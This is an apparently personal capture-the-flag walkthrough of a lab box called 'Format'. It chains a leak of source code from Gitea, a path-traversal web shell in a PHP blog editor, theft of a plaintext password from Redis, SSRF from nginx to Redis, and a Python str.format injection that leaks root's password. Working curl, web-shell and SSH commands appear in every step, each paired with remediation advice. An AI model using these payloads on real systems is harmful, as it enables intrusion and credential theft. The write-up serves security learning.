← all walkthroughs

Format

Linux· Medium
owned
2026-10-08
time to own
22m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Microblog PHP application on a virtual host whose full source was browsable in an exposed Gitea instance. Source review showed the per-blog editor wrote my own content to a path derived from an id parameter, with no path-traversal guard, while the blog's uploads directory executed PHP.

After self-registering and creating a blog, I wrote a PHP file into that uploads directory and gained command execution as www-data. The app's Redis store, reachable from that shell, held the local user cooper's password in clear text, which worked over SSH.

Cooper could run /usr/bin/license as root; that Python tool renders a pro user's Redis profile fields with str.format, so setting the profile's first-name to a format-string payload (written to Redis through an nginx /static/ proxy SSRF) leaked the global secret, which is root's password. Su with that password gave root.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for cooper over sshpass>"
export PASSWORD2="<the-password-you-recovered, for cooper over sshpass>"

Some commands also carry a value in angle brackets — <session_cookie> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and virtual-host enumeration (T1595)
Mapped the exposed services and virtual hosts
A port scan showed SSH (22), a web server on port 80 and a second web service on port 3000. Port 80 used name-based virtual hosting and served a 'Microblog' application at app.microblog.htb; port 3000 hosted a Gitea code-hosting service whose repositories were browsable anonymously.
Open ports 22, 80 and 3000; app.microblog.htb returned the Microblog application; port 3000 served Gitea with a public cooper/microblog repository.
Exact commands 3
shell

Ports 22, 80 and 3000 open; 3000 is Gitea.

$ nmap -p- --min-rate 2000 -sC -sV $TARGET
shell

Resolve the virtual hosts locally.

$ echo "$TARGET microblog.htb app.microblog.htb" | sudo tee -a /etc/hosts
shell

Confirm the Microblog application on the app vhost.

$ curl -ksS -D - -H 'Host: app.microblog.htb' http://$TARGET/
2Source DisclosureExposure of source code repository (T1593.003)
Cloned the application source from the public Gitea instance
Gitea allowed anonymous cloning of the cooper/microblog repository, turning a black-box test into a code review. The editor handler (edit/index.php) wrote the posted 'header' value to a file named by the 'id' parameter inside the blog, with no check against '../', and the blog's uploads directory ran PHP while the content directory stripped tags.
Git clone over port 3000 (with a Host: microblog.htb header) pulled the full tree; edit/index.php derived the write path from id, and pro-files/bulletproof.php handled the pro uploads directory.
Exact commands 2
shell

Clone the source anonymously.

$ git -c http.extraHeader='Host: microblog.htb' clone http://$TARGET:3000/cooper/microblog.git microblog-src
shell

Find the sinks: edit/index.php writes header->id, Redis is the data store, uploads run PHP.

$ grep -RInE '\$_(GET|POST|REQUEST|COOKIE)|file_put_contents|fopen|redis|upload|include' microblog-src --include='*.php'
FixDo not expose source repositories to anonymous usersMedium
WeaknessThe Gitea instance allowed anyone to browse and clone the application's full source and history, revealing the editor's path handling, the uploads execution behaviour and the Redis design.
FixSet Gitea to require sign-in (REQUIRE_SIGNIN_VIEW = true), make repositories private, and remove secrets from commit history. Place Gitea behind a VPN or IP allow-list.
3Initial AccessOpen self-registration leading to authenticated attack surface (T1078)
Registered an account and created a blog
The application allowed open self-registration and then let the account create a blog, provisioned as its own subdomain with a writable uploads area. This gave an authenticated session cookie and a server-side directory to write into.
POST /register/index.php then /login/index.php returned a session cookie; POST /dashboard/index.php with new-blog-name=pwnfmty provisioned pwnfmty.microblog.htb.
Exact commands 3
shell

Create a free account; choose your own registration password.

$ curl -sS -D - -X POST http://$TARGET/register/index.php -H 'Host: app.microblog.htb' --data 'first-name=Pwn&last-name=Operator&username=pwnfmtx&password=changeme'
shell

Log in and capture the session cookie from Set-Cookie.

$ curl -sS -D - -X POST http://$TARGET/login/index.php -H 'Host: app.microblog.htb' --data 'username=pwnfmtx&password=changeme'
shell

Create a blog; provisions pwnfmty.microblog.htb.

$ curl -sS -i -X POST http://$TARGET/dashboard/index.php -H 'Host: app.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'new-blog-name=pwnfmty'
FixRestrict who can register and create blogsMedium
WeaknessAnyone on the network could create an account and a blog, giving unauthenticated visitors an authenticated session and a server-side writable area.
FixDisable open self-registration or require approval/email verification, rate-limit signups, and limit what new accounts can do until verified.
4ExploitationPath traversal to arbitrary file write / web shell (CWE-22, CWE-434, T1505.003)
Wrote a PHP web shell into the PHP-executing uploads directory
The blog editor saved the posted 'header' value to the path given by 'id'. Writing to content/ stored but did not execute PHP (the template strips tags), so I used a traversal id of '../uploads/rce.php' to land the file in the uploads directory, where nginx hands .php to PHP-FPM. Requesting it ran commands as www-data.
POST to edit/index.php with id=../uploads/rce.php and header=<?php system($_GET["c"]); ?> returned 'Section added!'; GET /uploads/rce.php?c=id on pwnfmty.microblog.htb returned uid=33(www-data).
Exact commands 2
shell

Traversal in id drops the PHP into the executing uploads directory.

$ curl -sS -i -X POST http://$TARGET/edit/index.php -H 'Host: pwnfmty.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'id=../uploads/rce.php' --data-urlencode 'header=<?php system($_GET["c"]); ?>'
shell

Returns uid=33(www-data): code execution as the web user.

$ curl -sS "http://$TARGET/uploads/rce.php?c=id" -H 'Host: pwnfmty.microblog.htb'
FixValidate the editor's file path and block PHP execution in content directoriesCritical
WeaknessThe editor built a file path from a user-supplied id with no traversal guard, and the uploads directory executed PHP, so '../uploads/rce.php' became a web shell.
FixReject '..' and absolute paths and resolve the target against a fixed base directory (realpath allow-list). Store user content outside any PHP-executing path and configure nginx to deny fastcgi_pass for uploads/content directories. Run PHP-FPM with minimal privileges.
5Credential AccessUnsecured credentials in a data store / credential reuse (T1552, T1078.003)
Read cooper's plaintext password from the Redis store
The Microblog data lives in Redis on a local unix socket, reachable from the www-data shell. I dropped a small PHP Redis client the same way (editor write into uploads/), listed the keys, and read the cooper.dooper hash, which stored the account's username and password in clear text. Cooper had reused that password for SSH.
A PHP Redis client at /uploads/account.php returned the cooper.dooper hash, whose stored username and password were then accepted for SSH as cooper.
Exact commands 4
shell

Drop a Redis client that lists the keys.

$ curl -sS -X POST http://$TARGET/edit/index.php -H 'Host: pwnfmty.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'id=../uploads/keys.php' --data-urlencode 'header=<?php $r=new Redis();$r->connect("/var/run/redis/redis.sock");print_r($r->keys("*")); ?>'
shell

Fetch it: the key list includes cooper.dooper.

$ curl -sS "http://$TARGET/uploads/keys.php" -H 'Host: pwnfmty.microblog.htb'
shell

Drop a client that reads the cooper.dooper hash.

$ curl -sS -X POST http://$TARGET/edit/index.php -H 'Host: pwnfmty.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'id=../uploads/account.php' --data-urlencode 'header=<?php $r=new Redis();$r->connect("/var/run/redis/redis.sock");print_r($r->hGetAll("cooper.dooper")); ?>'
shell

Fetch it: prints username cooper.dooper and cooper's password (redact before sharing).

$ curl -sS "http://$TARGET/uploads/account.php" -H 'Host: pwnfmty.microblog.htb'
FixStop storing plaintext credentials and reusing them for system loginsHigh
WeaknessThe Redis store held the local user cooper's password in clear text, reachable from the web user, and the same password worked for SSH, turning a web compromise into a real login.
FixDo not store plaintext passwords in application data; hash secrets and keep the Redis socket off web-reachable paths. Use unique credentials per system, rotate the exposed password, and enforce SSH key-only authentication.
6Lateral MovementValid accounts over SSH (T1021.004)
Logged in over SSH as cooper
The recovered password gave an interactive SSH session as the regular user cooper, and the user flag was read from the home directory.
Id returned uid=1000(cooper); user.txt read from /home/cooper/user.txt.
Exact commands 1
shell

Prove the cooper context and read <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET 'id; cat /home/cooper/user.txt'
uid=1000(cooper)
7Privilege EscalationPython format-string injection leaking a secret, then password reuse to root (CWE-134, T1548)
Leaked root's password through a format-string injection in the sudo license tool
Cooper could run /usr/bin/license as root. Reading the tool's source over SSH showed a Python program that builds a pro account's license string by concatenating the account's Redis username, first-name and last-name into a template and rendering it with str.format, so any profile field a pro user controls is evaluated as a format expression. Reaching Redis went through the site's nginx /static/ location, which proxies to a backend taken from the request path: a request whose HTTP method is HSET against a /static/unix:/var/run/redis/redis.sock:... Path makes nginx send that HSET command to the Redis socket. I used it to mark their account pro and to set its first-name to the format-string payload {license.__init__.__globals__[secret]} (each request returns a 502 but the Redis write lands). Running the license tool then evaluated the payload and printed the module-global 'secret' (loaded from /root/license/secret) inside the plaintext license key. That secret is root's password, so su elevated to root and read the flag.
Sudo -l showed '(root) /usr/bin/license'; with first-name set to the format payload, sudo /usr/bin/license -p pwnfmtx printed a plaintext license key that embedded root's password; su with that password returned uid=0(root) and read /root/root.txt.
Exact commands 6
shell

Confirms cooper may run (root) /usr/bin/license.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET "printf '%s\n' \"$PASSWORD\" | sudo -S -l"
shell

Read its source: the first-name/last-name profile fields are rendered through str.format, and the secret is loaded from /root/license/secret.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET 'sed -n "1,260p" /usr/bin/license'
shell

Nginx /static/ proxies to the path, sending the HSET verb to Redis: mark the account pro so the license tool renders it (502 expected; the HSET lands).

$ curl -sS -i --path-as-is -X HSET "http://$TARGET/static/unix:/var/run/redis/redis.sock:pwnfmtx%20pro%20true%20/x" -H 'Host: microblog.htb'
shell

Same path, setting first-name to the format-string payload {license.__init__.__globals__[secret]}.

$ curl -sS -i --path-as-is -X HSET "http://$TARGET/static/unix:/var/run/redis/redis.sock:pwnfmtx%20first-name%20%7Blicense.__init__.__globals__%5Bsecret%5D%7D%20/x" -H 'Host: microblog.htb'
shell

The rendered first-name leaks the global secret; the plaintext key embeds root's password.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET "printf '%s\n' \"$PASSWORD\" | sudo -S /usr/bin/license -p pwnfmtx"
shell

Su with the leaked password returns uid=0(root) and <root.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET "printf '%s\n' \"$PASSWORD2\" | su -c 'id; cat /root/root.txt'"
uid=0(root)
FixFix the format-string injection in the license tool and stop running it as root with user-controlled dataCritical
WeaknessThe sudo-allowed /usr/bin/license rendered externally controlled profile fields with Python str.format, so a {...} payload in first-name could reach module globals and print the secret (root's password) in the license output.
FixNever pass untrusted data as the format string; use fixed templates with explicit, whitelisted field names or escape braces. Do not embed root's password as a module global, and reconsider whether a normal user needs to run this tool as root at all.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp
3000/tcp